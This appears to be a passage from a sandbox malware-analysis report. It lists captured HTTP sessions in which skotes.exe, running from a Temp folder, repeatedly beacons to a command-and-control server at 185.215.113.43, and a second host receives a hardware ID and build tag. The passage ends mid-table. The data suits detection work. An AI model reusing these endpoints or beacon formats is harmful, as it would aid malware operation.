Oct 7, 2024 13:27:49.103140116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50042	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:51.391360998 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:27:52.044148922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50044	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:53.559333086 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:27:54.780891895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50045	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:56.694370985 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:27:57.500334978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50046	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:59.013648987 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:27:59.806935072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50047	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:01.434206963 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:02.124388933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	50048	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:03.311166048 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 13:28:04.048809052 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:28:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 13:28:04.075067043 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 41 36 33 45 41 31 42 45 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="hwid"D1A63EA1BE9A291931458------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="build"doma------KEGCFCAKFHCGCBFHCGHD--
Oct 7, 2024 13:28:04.324986935 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:28:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50049	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:03.929061890 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:04.651081085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50050	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:06.519787073 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:07.192537069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50051	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:08.851679087 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:09.557135105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50052	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:11.296916962 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:12.007240057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50055	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:13.777630091 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:14.472744942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50057	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:16.336359024 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:17.046327114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50058	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:18.563719988 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:19.272932053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50059	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:20.904973984 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:21.615027905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50060	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:23.142669916 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:23.857453108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50061	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:25.484513044 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:26.223592997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50062	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:27.733850956 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:28.564259052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50063	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:30.139456034 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:30.835158110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50064	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:32.506812096 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:33.231659889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50065	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:34.860580921 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:35.569914103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50066	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:37.092348099 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:37.788789988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50067	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:39.422202110 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:40.133579016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50068	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
